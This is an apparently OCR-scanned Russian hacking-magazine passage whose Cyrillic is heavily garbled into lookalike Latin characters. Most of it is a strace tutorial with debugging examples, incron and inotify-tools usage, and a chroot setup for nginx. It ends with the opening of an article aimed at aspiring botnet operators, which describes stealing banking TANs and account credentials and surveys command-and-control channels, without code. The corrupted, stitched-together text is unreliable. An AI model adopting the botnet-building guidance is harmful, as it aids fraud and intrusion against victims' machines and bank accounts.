fstat (3, {st_mode=S_TIFREG|0644, st_
size=133660, ...}) =0

### IlomBEITKA IIOJNYYUTH ODOCTYII K OONBIOMY KOJM-—
YeCTBY daa/moa, B OCHOBHOM M3 KaTarinora /US?’,'

1ik

/locale/ru_RU.ut
uname ({sys="Linux", node="adept-laptop",
... =0

Mo ymonyaHuio BeCb BbIBOJ strace oTnpasaseT B stderr, 4to
naneko He Bcerga ygobro. [MonpocuTs strace nucaTb BbIBOS
B Gala MOXHO C MOMOLLbO ONUMKN -0

$ strace -o uname.strace uname

[lepBbIii cMUCTEMHBIV BbI30B — execve: 3anyck ¢aiina Ha Bbl-
nofHeHwe. B ckobkax nepenaertcs koMaHaa c apryMeHTamy
(eCnIv OHU €CTb) M KONMYECTBO NEPEMEHHbBIX OKPYXXEHNS, Mne-
pefaHHbIx npoteccy. [1o ymonyaHuio strace He nokasbiBaeT
caMy nepeMeHHble OKPY>XXEHWS, HO €r0 MOXHO MOMPOCUTL
BbIBOAUTbL Boslee nofpobHylo MHPopMaLLMio C MOMOLLbIO On-
umnn '-v'. Beizos Bo3Bpatun 0 — 3HaumT Bce ok. B npotnsHomM
ciyyae 3HaveHune bbino bbl-1.
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CratucTumka danoBbiXx onepaLni C K3LeM
Firefox3a 1 MUHYTY NP akKIMBHOM cepduHre

CnefytolWmnin UHTEPECHBIN CUCTEMHbBIN BbI30B — access:
npoBepka npas nofb3oBaTens Ha daiin. B paHHom cnyyae
TecTupyeTcs cyuiecTsoBaHve daina (o YeM roBopuT pexnm
nposepkn F_OK]. Ha TpeTbel CTpouke CUCTEMHbIN BbI30B
BepHyn 3HaveHme -1 (ownbka) n sbisen ownbky ENOENT
(No such file or directory). 310 HopManbHo, Tak kak 3T0T
balin Bcero NnLb CAYXNUT 415 YKa3aHUS TIMHKOBLLMKY Ha 1C-
NoJfib30BaHMe CTaHAAPTHbIX HEONMTUMU3NPOBAHHbIX BEPCUIA
6ubnnorex.

Kak npaBuno, c noMolblo BbI30Ba access NpoBepsioT-

CS TONbKO NpaBa Ha Galin uau cylllecTBoBaHMe camMoro
darina, bes kaknx-nnbo nocnefyoLIMX MaHUNYAALUNA Ha g
banom. MaHunynaunmn Hag dbainnom Bcerga HaumHatoTCs
C CMCTEMHOrO BbI30Ba Open, OTKPbIBAKOLLErO Gpalifl B 04HOM
13 pexxumos (0_RDONLY, O_WRONLY unn O_RDWR).
BbizoB Bo3BpaLyaeT HebosbLoe Lenoe Yyncno — Gainnosbii
LeCKpPUNTOp, KOTOPbIA BNoceAcTBUM byfeT ncCnonb308aTh-
ca pyruMu BbizoBaMu (10 Toro MomeHTa, noka He byaet
3aKpbIT C MOMOLLbI0 BbI30Ba close).

[Mocne oTkpbITVSA daiina BbI30BOM 0pen MPOUCXOLUT ro
YTeHye BbI30BOM read vnu 3anuck BoizoBoM write. 0ba
BbI30Ba NPUHUMaIOT GpaitNoBbIi 4eCKPUNTOP, @ BO3BpalLalT
KOMYECTBO NMPOYMTaHHbIX/3anucaHHbIX banT.

Bbizos fstat npefHasHaver gna nonydeHns nHGopMaLmm o
daine (Homepinode, uid, gid nT.4.)

CaMblii rnaBHbINA BbI30B B IMCTUHIE Bbille — Uname, KOTO-
pbIli MO3BONIAET NONYYUTb MHOPMALIMIO O TEKYLLEM Sfpe.
Ecnu tpaccrpoBka uname 3aHMMaeT BCEro COTHIO CTPOK, TO
TPacCMpoBKa CEPbE3HOT0 MPUOXKEHMS TIETKO MOXET 3aHU-
MaTb HECKOJbKO ThiCAY CTPOK. YnTaTh Takoii nor — He camoe
Bonblioe yposonscTaume. [103TOMy MHOTAa NyyLle 3anuchl-
BaTb B JIOT TONIbKO OMpe/lefieHHble Bbi30Bbl. Hanpumep, yTo-
bl 0TCNEeAMTL BCE BLI3OBLI Open 1 access (a Ha Hux creayet
obpallaTb BHMMaHMWe B NepByto o4epefb npu npobnemax c
3anyckoM NpuaoxeHns):

S strace -e trace=open,access \

-0 strace.log uname

BMecTo nepeuncneHmns Bcex Hy>XHbIX BbI30BOB MOXHO
MNCMNONb30BaTh KNacchl, COCTOALLME TONLKO U3 crieunanm-
31poBaHHbIX BbI30BOB: file, process, network, signal unu
ipc. Takxke MOXHO NucaTb B 10T BCe BbI30BbI, KPOME O[JHOTO.
Hanpumep, 4ToBbl MCKNIOYNTL BBIZOB MMap:

$ strace -e trace=\!mmap -o strace.log uname

K coxaneHuto, NckUnTb 13 BbIBOAA CPa3y HECKOBbKO
BbI30BOB HE MONYYUTCS.

HekoTopble npunoxerua B npouecce paboTsl N06AT Ha-
nnoanTh bonbluoe KONMYECTBO LOYePHUX NpoLeccos. [1o
yMonuaHuio strace UrHopupyeT fo4epHUMe NpoLecchl, HO

3TO NOBeAeHNe MOXHO M3MEHUTb C MOMOLLbio onumn "-f'.
Ecnwv BbiBOA Strace nuweTcs B 0T, T0 YA06HO MCMOIb30BaTb
onunto -ff', koTopas 3acTaBnsgeT strace nucaTb TpacCcMpoBKY
Kaxzaoro npotecca B otaenbHbln nor suaa filename.PID.

[WARNING |

> warning

3 coobpaeHwit
BesonacHocTn He
cnepyeT 3anyckats ldd
Ha NoLO3PUTENbHbBIX
BbuHapHMKax — 3To
MOXeT NMpUBecTH

K BbIMOSTHEHWIO

BPELOHOCHOTO
koza. MogpobHocTy,
HanpuMep, TyT:

net/

“ution/. Ha
NoLO3pUTENbHbIX
daiinax nydwe
ncnonb3losaThb readelf.

github.com rvoicilas/

inotify-tools

[INFo

> info

e CuCTEMHbIE BbI30BbI
— 370 «UHTepdenc»
MeXay aLpoM

N NPUAOKEHNEM.
Apnpa Linux BeTkn

2.6 nmetoT bonee 400
pa3IMYHbLIX BbI30BOB.

* VlHdopmaumio

0 KaX[,0M CUCTEMHOM
BbI30BE MOXHO HalTK
BO BTOpPOM pa3gene
man. Hanpuwmep,

Mpo NOBCEMECTHO
BCTpeYatoLuincs
BbI30B 0pPen MOXHO
MoCMOTPeTb TakK: «man
2 open».

e [Ina pabotbi strace
ncnonb3yercs
CUCTEMHbI BbI30B
ptrace.

e [Ina TpaccupoBku
B6rnbnnoTeyHbIx
BbI30BOB €CTb
OTHENbHbIN
MHCTPYMeHT — ltrace.
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v
: MOHUTOPUHTI COObITUN
C nomoLLbto strace MOXHO 0TCNeAnTb, K KakuM daiinam obpalianocs
KOHKpeTHoe NpunoxeHve. Ho MHoraa Bo3HWKaeT obpaTHas 3afada —
oTCNeAnTh 0bpalleHns Kk onpeAeneHHoMy daliny v BbINONHWTL Kakve-
TO [lelcTBMA Npu 3Tvx obpallieHunax. Toraa Ha NoMoLLb NpUaeT Mexa-
Hu3M inotify. Inotify — noacuctema aapa, no3songtoLLas oTcnexvsaTb
dannosble onepaumn. TexHonorus nposepeHa BpeMeHeM — OHa bbina
BKItoYeHa elle B aapo 2.6.13 (nmonb 2005). Inotify akTueHo ncnonbayet-
csl, HanpuMep, AECKTONHbIMU NoKnckoBrKamm (Bpoge Beagle), a takxe
TakoW NoNe3HOM WTYKOM, Kakincron.
Incron —aHanor 0bbIYHOro cron € TON UL Pas3HULLEN, YTO BblNOSHe-
HMe KOMaH/bl MPONCXOLWT HE MO BPEMEHM, @ MO HACTYMIEHNIO yKa3aH-
HOro B 3afaHnK cobbIThS.
Mocne yctaHosku [incron ecTb B peno3nToprsax boNbLIMHCTBA AUCTPH-
ByTvBoB) cozpaertca nycton daiin /etc/incron.allow, B koTopom Hamo
NepeuncnnTb Noab30BaTeseld, KOTOPbIM Pa3pPELLEHO MCMOb30BaTh
incron.
Co3patoTcs 3aaHns C NOMOLLbIO KOMaHLbI:

$ incrontab -e
QopmaT 3afaHwii:

<IIyTh> <COOBITME> <KOMaHIa> (C paslesieHreM depes

pober)

CaMmble MHTepecHble cobbITUA

IN_ACCESS — damn OwvlyI IpoYnTaH

IN_ATTRIB — u3MeHUNMCHL MeTamaHHue darina/xkaTanora
IN_MODIFY — darn 6vJI M3aMeHeH

IN_CREATE — {ani miam KaTajioT OBJI CO3HOaH B OTCIIEXM—
BaeMOl OVPEeKTOpUN

IN_DELETE — ¢ani iy KaTajloT OBJI yIOaJleH B OTCIIeXV -
BaeMOM OUPEKTOPpUM

IN_DELETE_SELF — oTCclexuBaeMuin Gamil uim KaTaaor ObIT
yoaneH

IN_MOVE — daiin OBUI IIepeMeneH U3 OTCIeXMBaeMOTo KaTa—
JIoTa MM B HETO

IN_ALL_EVENTS — BCe COOHTHUSA

B onuncanumn KOMaHAbl MOXXHO MCNOJ1Ib30BaTb BHYTPEHHWE NMepeMeH-
Hble. Camble nonesHble:

$@ — rosiHOe MMsI OTCJIeXMBaeMoro édania/raranora
S# — oTHOCUMTENBHOE UMS daiiia, BH3BABIETO COOBITVE
(TONBKO NPU MOHUTOPMHTE KaTajlora)

$% — HazBaHMUE COOHTUS

Eule ogHa BecbMa none3Has BO3MOXHOCTb Strace: C MOMOLLbIO ONLuM
-p' nykasaHus PID MoxHo NnpoBofuTb Tpaccuposky paboTatoiero
npouecca. MoxXHO faxe COeMHUTLCSA Cpa3y C HeCKObKMMY NpoLiecca-
MW, yKa3aB onuuio -p’ Heckobko pas. BoT Takas KOHCTPYKLMSA 3anyCcTuT
TpaccupoBKy BCex npoLeccos apache:

# strace -f $(pidof apache2 | sed 's/\([0-9]*\)/\-p
\1/g9")

YT00bI MOKa3aTb BCKO MOLLb Strace, OMyLLIY HECKOJIbKO Clly4YaeB 13 Moelt
NpakTUKK, B KOTOPbIX 6€3 MOMOLLY 3TOV YANBUTENBHON YTUINTBI Ha MOWCK
vycTpaHeHue Npobnemsl g noTpaTu bbl Kydy BpeMeHU.

NMPOBJIEMbI C MPABAMU

[aBHbIM-faBHO, korfa anay eule b1 sepcumn 1.3, a PHP — 4, nepeexan
7 Ha HOBbI cepBak. M npakTuyecku cpasy Bbinesna ogHa npobnema — u3
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rtl_alloc
soff

PHP c nomoubto 06bI4HOM dyHKLUMK Mail He oTnpaBasance nucema. 3a-
TNSHYM B NOTW UHAELa — NyCTo, B NOTax CEHAMbINA M CUCTEMHBbIX 10rax
— ToXe Huyero nHTepecHoro. C To4HO TakmMMK ke KoHGUramm apache,
PHP 1 sendmail Ha opyrom cepBepe Bce paboTano, 3Ha4uT, npuYmHa

HeMHO un

Strace (cokpalieHyie oT system trace] — ato ceobogroe M0, pacnpocTpa-
Haemoe nog BSD-nogobHom nuueH3nen. YtvnuTa beina Hanvcada B 1991
rogy [Monom KpaHeHbyprom ans SunOS kak aHanor ytuamTsl trace. Ha Linux
ee nopTuposan bparko JlaHkecTep, KOTOPbIV TakxKe peanv3oBa NoaLepxK-
ky Bagpe. B 1992 rogy Bbilwna Bepeus 2.5 ana Sun0S, Ho Bepcws ana Linux
Bce elue basvposanack Ha Bepcum 1.5. B 1993 rogy Prik Cnagkm obbepm-
Hun strace 2.5 415 SunOS v BTopoit penus strace ans Linux, fobasus npu
9TOM MHOI0 BO3MOXHOCTe oT truss 13 SVR4. B peaynstate nosiBunach
strace, kotopasi pabotana v Ha Linux, u Ha Sun0S. B 1994 Puk noptuposan
strace Ha SVR4 n Solaris, aB 1995 — HaIrix. CerogHsi strace nognepxu-
BaeTcs DObLUMM KONMYECTBOM JItOfel, B CNMCKe pa3paboTurkos Aaxe
ycnen otMeTuTbest cam JTnHyc. [ocneHss Ha MOMEHT HanUCaHWs CTaTb
Bepcyusi — 4.5.20 01 14 anpens 2010 roga. strace ceityac 40CTaTO4HO aKTUB-
HO pa3BMBaeTCs, B OCHOBHOM fjobaBnsieTcs nogaepxka u dukcsates baru
npu paboTe Ha BCAKMX 3K30TUUHbIX apXMUTEKTYpaX.

UHcTpyMeHTbI, nogobHble strace

DTrace — npogykT Sun Microsystems, pabotaeT Ha Solaris, FreeBSD u
Mac 0SX(10.5 n ctapwe). Ectb TecToBas Bepcua nopta ang Linux.
ktrace — pabotaet Ha FreeBSD, OpenBSD, NetBSD 1 Mac 0S X (oo
sepcun 10.5).

Inotify-tool

Kpome Incron ecTb elLle nonesHas Wwryka, ncnonb3ayolas inotify —
inotify-tools, Bkntoyatollas B cebs inotifywait u inotifywatch, kotopbie
o4eHb yaobHo Mcnonb3oBaTh B ckpunTax. Inotifywait npocto xaet
yKa3aHHbIX CODbITUIN Haf yKa3aHHbIMU daiinamMi 1 3aBepLuaeTcs C TeM
NN NHBIM KOAOM BO3BpaTa. HeMHOro MognduumMpoBaHHbI CKpUNT 13
man’a, XopoLo UANICTPUPYIOLLIIA NpeaHasHaveHne inotifywait:

$ cat ~/script.sh
while inotifywait -e modify \
/var/log/apache2/error.log; do
tail -1 /var/log/apache2/error.log | \
notify-send "Apache needs love!"
done

Inotifywatch npocto cobupaet ctatcTiky no obpalieHnio Kk onpepe-
NieHHOMy daiiny/kaTasnory B TeueHne onpesesieHHOro BpeMeH U o
npepbiBaHNA 1 oTobpaxaeT ee B BUAe TabauLbl. ECTb BO3MOXHOCTb
cbopa CTaTUCTVKM TONIbKO MO OnpeAeneHHbIM CobbITUAM, 3aAaHNs
“ckoYeHns Gpaiinos No Macke v YTeHUs cnucka 06beKTOB 419 MOHUTO-
pUHra 3 daiina.
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ldd nnga Firefox

He B Hux. [Topa pacyexnaTb strace. OcTaHoBWA anay 1 3anycTun Tpaccu-

pOBKY:

# strace -f -o /tmp/apache2.strace \
/etc/init.d/apache2 start

Mocne Toro, Kak CKPUNT OTAPABKM MOYThI (C HEXUTPLIM Ha3BaHyeM mail.
php) 6611 HeckonbKo pas 3anyuieH U3 bpaysepa, a apache ocTaHoBeH,
MOXHO NMPUCTYyNaTh K aHanun3y nora.

$ grep mail.php /tmp/apache2.strace

5345 read(9, "GET /mail.php HTTP/1l.1l\r\nHost:
12"..., 8000) = 397

5345 stat("/var/www/mail.php", {st_mode=S_

IFREG| 0644, st_size=256, ...}) =0
5345 1lstat("/var/www/mail.php", {st_mode=S_
IFREG| 0644, st_size=256, ...}) =0

5345 open ("/var/www/mail.php", O_RDONLY) = 10

3pecb B Kaxpaoi ctpoyke nepsoe none — PID, BTopoe — BbI30B € Napa-
MeTpaMu, TpeTbe — 3HaveHune, KOTopoe BePHYJ BbI30B. B bonblunHcTe
cny4aeB, eciv BO3BpallaeMoe 3HaueHne He oTpuLiaTeNlbHoe — BbI30B
oTpabotan 6e3 ownbku. To ecTb, grep no mail.php He fan Huyero nHTe-
pecHoro, kpome PID-npouecca (5345), koTopelit ero o6pabatsisan. Yo x,
3anyctum grep no PID:

$ grep 5345 /tmp/apache2.strace

5340 clone(child_stack=0, flags=CLONE_CHILD_
CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_
tidptr=0x7f3bf2eadall) = 5345

5345 read (9, "GET /mail.php HTTP/1.1l\r\nHost:
12"..., 8000) =397

5345 stat ("/var/www/mail.php", {st_mode=S_
IFREG| 0644, st_size=256, ...}) =0

5345 clone(child_stack=0, flags=CLONE_CHILD_
CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_
tidptr=0x7£f3bf2eadall) = 5347

OnaTb HUYero MHTepecHoro nNo nosoAy owwnbkun. Ho Ha nocnefHel
CTPOYKE C MOMOLLbIO CUCTEMHOTO Bbl30Ba clone cozpgaeTcs fouepHuia

npouecc ¢ PID 5347. Yx Tbl, kBecT! :) Grep no 5347:
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=gpen firefo 1 | grep -v ENOENT
3

3
3

RDONLY) =
ONLY ) 3
NLYR = 3

0 RDONLY) =
=NTIFICATION

MONETARY", O RDONLY)

0 RDONLY) = 3

Cnucok danioB, KoTopble oTKpbiBaeT Firefox mpu 3anycke

$ grep 5347 /tmp/apache2.strace

5345 clone(child_stack=0, f£lags=CLONE_CHILD_
CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_
tidptr=0x7f3bf2eadall) = 5347

5347 execve("/bin/sh", ["sh", "-c", "/usr/sbin/
sendmail -t -i "], [/* 6 vars */] = -1 EACCES

(Permission denied)

Bunro! [Ins otnpasku noyTel ucnonbsyetcsa /usr/sbin/sendmail, a
BbI30B pyraeTcs Ha oTcyTcTBuMe npas. [1puyem npasa Ha sendmail
BbICTaBJ/IeHbl KOPPEKTHO, @ BOT Ha /bin/sh — HeT. KaknM-To o6pasom
okasanocs, Yto npasa Ha /bin/sh 6binm 770 (npv Bnagensle v rpynne
root], To ecTb nonb3osatens www-data (ot kotoporo pabotan apache)
He UMes nNpaB Ha BbinonHeHve. KoppekTuposka npae ucnpasunia ato
HedopasyMeHue.

NMPOBJIEMbI CCETbIO

WHorpa strace no3sonseT pewatb ceTeBble NpobneMbl ropasao beicTpee,
yeM tcpdump. B yacTHocTH, c noMolblo strace o4eHb ygobHO oTCnexu-
BaTb, K KakUM CepBucaM 1 B KakoM nopsiake obpaliaeTcsa npunoxeHue
015 onpefeneHuns MeH.

OpHaxabl 9 cMeHun IP gas ofHoro foMeHa, Ho, HeCMOTps Ha To, 4To

dig BblAaBan MHe npaBuibHbIii HOBbIN |P, firefox Bce ewe nomunca Ha
cTapblii. Tpaccupyem:

$ strace -f -e trace=network firefox xakep.ru

7879 socket (PF_FILE, SOCK_STREAM|SOCK_CLOEXEC | SOCK_
NONBLOCK, 0) =3

7879 connect (3, {sa_family=AF_FILE, path="/var/run/
nscd/socket"}, 110) =0

7879 sendto (3, "\2\0\0\0\v\0\0\O\7\0\0\0passwd\0",

19, MSG_NOSIGNAL, NULL, 0) = 19

Bbi3oB connect n3 nnctuHra nokaseiBaeT, 4To Firefox cHavana obpa-
waetca Kk cepeucy NSCD (kawmpyowmii aeMoH) Ans paspeleHms nMeH,
a Tonbko notoM, ecnm NSCD Huyero He BbifacT — k DNS. Ha HoyTbyke
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Dann Npaska Buo TepMuHan CnpaBka

d.50.0]

CnucokanHamuyeckmx bubnmorek Firefox

NSCD Tonbko MewaeTcs, N03TOMY 5t €70 CMeso YAanu, nocie Yero orHe-
NIVC Hallen NpaBUIbHbIN alNUWHKUK.

NPOBJIEMbI C MCEBAO0YCTPOUCTBAMMU

BbiBaeT, 4To kakoe-To MpUIOXeHVEe MPOCTO BUCHET, HE BbIfaBas HUKaKMX
owwnbok v 3aBepanch Tonbko no kill. Man paboTaeT, Ho TopMO3UT Ha, Ka-
3anock bbl, NpocTeiiwelt onepaunu. [puBesy NnpuMep: eCTb CTapeHbKUI
Debian Etch, Ha HeM squid 13 peno3uTopus c npoctoit NCSA ayTeHTndM-
kauwuen n SAMS nnqaypgobHoro ynpasnexus. [ocne co3gaHnsa nonb3o-
BaTens yepe3 SAMS npu penoage squid LONTO TOPMO3UT Ha onepaLnsax
nobasnennd nonb3oBartesnein.

# strace -f -0 /tmp/samsdaemon /etc/init.d/samsd start

15773 13:16:03 stat64 ("/etc/squid/ncsa.sams", {st_
mode=S_IFREG|0644, st_size=314, ...}) =0
15773 13:16:03 open("/etc/squid/ncsa.sams", O
RDONLY | O_APPEND | O_LARGEFILE) = 3

15773 13:16:03 close(3) =0

15773 13:16:03 open("/dev/random", O_RDONLY) = 3
15773 13:16:03 read (3,

Ha nocnenHem Bbi3oBe cucTeMa 3agyMbiBaeTcs bosblue, YeM Ha MUHYTY.
3HauuT, npobnema B /dev/random. SAMS npumeHseT ero ang coznaHns

xellei naponei nonb3osateneit. Camoe npocToe peLleHrne — MCnofib30-
BaTb /dev/urandom, koTopbiii ropasno beicTpee, yem /dev/random.

CAXXAEM NGINX B NECOYHULY

BesonacHocTv MHOrO He bbiBaeT, MO3TOMY HVKaKasi JONONHNUTENbHAS
CTyNeHb 3aLWnTbl NULIHEN He byaeT. [locTaTouHO NoNyASpHbLIA 1 NPOCTON
B peann3aynmn MexaHn3M MUH1MU3aLM ypoHa oT B3loMa — 3anyck
npunoxenus B chroot. [Mpouecc nepeHoca NpUAOXeHNS B MeCOYHULY He
CJI0KEH, €C/IM BOCMONb30BaTLCS strace 1 ell,e 04HOM NONe3HOM yTUANTON
— ldd [nokasbiBaeT cN1COK COBMECTHO MCMonb3yeMbix bubanoTexk ELF-
dbaiinal. Mokaxy Ha npumepe, kak 3anyckaTb B chroot nonynapHbIi Ha
npocTopax pyHeTa Beb-cepBep nginx.

Mpeanonoxum, 4o nginx (MocneaHen Ha MOMEHT HanucaHKs cTaTbm
sepcuu 0.8.40) yxe cobpaH c napaMeTpaMu no yMoN4aHmio U 1eXnT B
/usr/local. Cnncok 6ubnunoTek, KOTOpble HYXHbI €My A9 paboTsi:
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# ldd /usr/local/nginx/sbin/nginx
linux-gate.so.l => (0xb7789000)

libcrypt.so.l => /1ib/i686/cmov/libcrypt.so.1
(0xb7751000)

libpcre.so.3 => /usr/lib/libpcre.so.3 (0xb7728000)
libssl.s0.0.9.8 => /usr/1ib/1i686/cmov/1libssl.
s0.0.9.8 (0xb75d4000)
libcrypto.so0.0.9.8 => /usr/1ib/i686/cmov/libcrypto.
s0.0.9.8 (0xb7cde000)

libz.so.l => /usr/lib/libz.so.1l (0xb75bf000)
libc.so.6 => /1ib/i686/cmov/1libc.so.6 (0xb7464000)
libdl.so.2 => /1ib/1686/cmov/1ibdl.so.2 (0xb7460000)
/1ib/ld-1linux.so.2 (0xb778a000)

MepeHocumM aTn bubnnoTekn B 3apaHee co3paHHoe chroot-okpyxeHne
(Hanpumep, /chroot/nginx). fanblue, 4To6bl yAOCTOBEPUTLCS B TOM,
4YTO Yy Hac ecTb Bce HeobxoanMble BrbnnoTteku, Hy>xxHO ¢ noMolybio Ldd
MoCMOTPeTb Takke 3aBUCUMOCTH CKOMUPOBaHHbIX bubnvoTtek. Kpome
BrnbnuoTek NginX'y Hy>XKHbI eLle HeKoTopble KOHGUTM 1 oru. Monyynm
cnuncok HeobxoAnMbIX dhainos:

# strace -e trace=open /usr/local/nginx/sbin/nginx
open("/etc/1ld.so.cache", O_RDONLY) = 3
open("/1ib/1686/cmov/libcrypt.so.1", O_RDONLY) = 3
open ("/usr/lib/libpcre.so.3", O_RDONLY) = 3

open ("/usr/lib/i1686/cmov/1ibssl.so0.0.9.8", O_RDONLY)
=3

open("/usr/1lib/i686/cmov/libcrypto.so.0.9.8",
O_RDONLY) = 3

open (" /etc/passwd", O_RDONLY |O_CLOEXEC) = 4

open (" /etc/group", O_RDONLY|O_CLOEXEC) = 4

open ("/usr/local/nginx/logs/access.log", O_WRONLY |O_
CREAT |O_APPEND|O_LARGEFILE, 0644) =14

open (" /usr/local/nginx/logs/error.log", O_WRONLY|O_
CREAT|O_APPEND|O_LARGEFILE, 0644) =5

CkonupyeM HegocTatowme Gainbl, yoanas npu aToM U3 KOHGUToB
HEHY>XHyto MHdopMaumio (HanpuMep, MMLWHKWX Nosb3oBaTenen us/etc/
passwd).

Cospanum B chroot-okpyxeHnu /dev/null, HeobxoAUMBbIN 415 HOPMab-
HOro GYHKLMOHMPOBAHMA Nginx'a:

# mknod /chroot/nginx/dev/null c 1 3

BoTu Bce. Tenepb 3anyckatb nginx B chroot MoxHo cnefyiolinm obpa-
30M:

# chroot /chroot/nginx/ /usr/local/nginx/sbin/nginx

3AKJIIOYEHUE

[lns npumereHuns strace ecTb HekoTopble orpaHnyeHus. Bo-nepssbix,
MOHSATHO, YTO He ClledyeT NCMOob30BaTh 3TOT UHCTPYMEHT B paboyem
oKkpy>xeHuw [Tpaccuposka apache Ha BblcOKoHarpy>xeHHom production-
cepsepe byaeT 60/bLWON OLWNGKOI) — MPON3BOANTENBHOCTL NPUIOXE-
HWSA B pexu1Me TpacCUpOBKU CUNIbHO CHIKaeTcs. BTopoe orpaHuyeHue
— 3T0 BO3MOXHble MpobaeMbl C TpacCHpoBKOM 32-6UTHBIX NPUNOXEH N
Ha 64-buTHOWM cucTeme. M, HakoHel, TpeTbe — HEKOTOPbLIE MPOrv NafatoT
Npu BbIMOJIHEHWW TPACCUPOBKM BCAIEACTBME Hanunuus nubo 6aros, nnbo
3aLWNTbI OT TPACCUPOBOK (B OCHOBHOM 3T0 KacaeTcs, KOHEeYHO, Npornpue-
TapHoro codral.

HecmoTps Ha WMpokre BO3MOXHOCTY, strace — He «cepebpsaHas nyns»,
OH HE CMOXET MoMOYb HalTW NpuUKnHYy abconioTHo Bcex npobnem. OgHako
3TO 0YEHb XOPOLIMI MHCTPYMEHT, KOTOPbI 06513aTeNbHO Hy>XHO nonpobo-
BaTb, npexae yem bpatbcs 3a gdb.ac
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MICKYCCTBO

30MOMPOBaHMS

A36yKa co3faHHf HeyroHsieMblX 60THeTOB

COBpEMEHHbIe 6oT-ceTv N0 CBOEH YUCNEHHOCTH LaBHO nepeLlarHy

MUANMOHHYH NnaHKy. Ux MaciuTabbl no3BonsoT 60T-MacTepam
«pacnapannenuTb>» (JMHAHCOBbIE NOTOKM OT NPef0CTaBAAEMbIX

ycayr. HolHelwH1e noaxoAbl K NPOeKTUpOBaHHI0 60THETa NO3BONAIOT
MCNONb30BATh €ro KaK A1A 0CYLLECTBAEHHA Y)XKe CTABLUMX KNaCCUKOM

B Hawe Bpema DDoS-atak, Tak M ans pa6oTbl Ha YpoBHE OTAbHO B3ATbIX

XO0CTOB.

3ayeM? HanpumMep, ¢ Lenblo NONYYEHNs Kakon-nnbo KoHPUAEHLMaNbHON
nHdopmaumn, cbopa TAN (Transaction authentication number, ncnonbayer-
Sl B KaYecTBe [OMOMHUTENBHOMO CPEACTBa ayTeHTUMKALMN B CepBicax
OHNalH-6aHK1Hra), akkayHTOB K LenesbiM pecypcam. W sce 311 MaHn-
NyNSLUK OCYLLECTBASIOTCS B NapassieslbHoM pexuvMe pasHbIMU H4acTsMm
ofiHo boT-ceTn. o Mepe pocTa «nepcoHanbHOM apMKUmn» MOTyT MOSBUTLCS
[IOMOSIHWTESNbHbIE NMOABOAHbIE KAMHW, KOTOpbIe TPYAHO OTCNEAWTb Ha 3Tane
npoekTUpoBKYM 60Ta U ellle TpyaHee 0T HUX N3baBKTbCS, Tak Kak noboe nsme-
HEeHME B €0 apXUTEKTYPE MOXET PaspyLUKTb HOTHET Kak KapTOUHbIA [JOMMK.
VIMeHHO noaTomy y byayLero boT-MacTepa [OMKHO ObITh YeTKkoe NpeacTaB-
NeHvie MacluTaboB CBOEN CeTu, pelliaeMbix el 3a4a4 W BapuaHTbl AeNCTBHIA
Ha cnydaii ee ytpatsl. [locnefHuit NyHKT ocobeHHO akTyaneH Aas bot-ceTeit
Bonblunx MacluTaboB MW NPUHAANEXALLUX K KapAepCKoi MHGPACTPYKType.
3anHTepecoBaTbCs AETHLLEM MOTYT Kak KOHKYPEHTbI, Tak U NpaBoOOXpaHW-
TeslbHble opraHbl. Bce Bo3MOXHble pUCKW BOXKHbI DbITh Takke BbIABNEHbI 1
yCTpaHeHbl Ha 3Tarne NpoeKkTUpOBKY. [0 Ha3ap B HalLeM XypHane KOoHLemn-
Um0 naeansHoro boTHeTa AeTanbHo onvcan Poman XoMeHKo B cBOei cTaTbe
«BeuHblii boTHET». B HEM OH M3NoXMN NPUHUMMLI Co3aaHns DoTa, opraHm-
3aLMI0 NOYYEHWs KOMAHL, OT KOMAHAHOIO LIEHTPa, @ Takke BHEC HEeKOTOPbIe
nocTynaTbl NpoekTupoBaHus 60T-ceTy. CoBeTytlo B3ATb ero MaTepyasn 3a 0CHO-
By. B cBOI0 0uepesp, crefys TEOPeTUYECKUM acrekTaM NoCTPOEHUs «1aealb-
HO @pMKI», Mbl PACCMOTPYM MPaKTUYECKY0 CTOPOHY CO3AaHWs boTa.

APXMTEKTYPA — HALLE BCE

CyLiecTByeT MHOXeCTBO Crocob0B yNpaBieHns 3apaxeHHbIMY XOCTaMy 1
nepefaya KoOMaHf Kaxaol MalinHe. Bce 3aBUCKT 0T KOHKPETHbIX Npeano-
yTeHuit boT-macTtepa. B 3aBMCMMOCTM OT TMNA MCMOMB3YEMOro NPOToKONa
KOMaH[HbIM LEeHTPOM MOXET BbICTyNaTh:

® Beb-cepBep — ynpasieHue ocyLLecTBAdeTCs Yepe3 Beb-nHTepdeiic. B
HacTosILLEe BpeMs 3TO camblii pacrpoCTpaHeHHsIi crnocob (ketatu, uMeHHo
ero UCrMoNb3yeT HalymesLnii Zeus).

e Instant Message cpefia — nepefiaya KoMaHf No OAHOMY 13
IM-npoTokonos (1cq, jabber, MSN 1 T.n.). Vicnonbayetcs B 6oT-ceTax ¢
HebOoNbLWMM KOIMYECTBOM XOCTOB.
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o |RC — KOMaHHbIN LeHTp HaxoanTcs Ha ogHoM 13 IRC-kaHanos.
MopanbHo ycTapeBLUWii METOS, OCYLLECTBIEHNS KOHTPONSA. B HacToswee
BpEMs NPakTU4eCKN He UCMOMb3YeTCs 13-3a BbICOKOI CTeNeHU BEPOATHOCTH
130/MpoBaHna (Nepexsara) KOMaHAHOro LEHTpa.

o Twitter-cpega — ynpasneHvie bOTHETOM NMOCPEACTBOM Nepefayn KoMaHg,
B TBUTTEp-akkayHTe. [loBONbHO 3K30TMYeCKMit cnocob, HO MMeeT NpaBo Ha
CyLLIeCTBOBaHWeE B YCNOBUSAX NMOBCEMECTHOI PacnpoCTpaHeHHOCTY coLmanb-
HbIX ceTeit 1 Beb-cepBucoB, NpefocTasnsiowmx ceon APl Kctatu, B faH-
HOM CJly4ae MOXHO He 3a/lyMblBaTbCs O TOM, Y4TO KOMAaHAHbIN LEHTP MOXeT
yNacTb 13-3a Harpy3ku CBOei e «apMun», Beflb DONbLIMHCTBO AaHHbIX
NPOEKTOB pacCymTaHbl Ha OFPOMHYI0 ayAUTOPUIO 1 MMEIOT COOTBETCTBYIOLLME
cpeAcTBa MaclTabupyeMocTy.

¢ TCP/IP-based — ynpasneHvie NnocpescTBOM NpOTOKON0B, 6asmpytoLmxcs
Ha cteke TCP/IP. Tog 3Ty kaTeropwio NonajfatoT BCe oCTasbHble Cnocobsl,
OCHOBaHHbIE Ha nepefiaye KOMaHf, no 3K30TUYECKUM W CaMOMMCHbBIM Mpo-
TOKONaM.

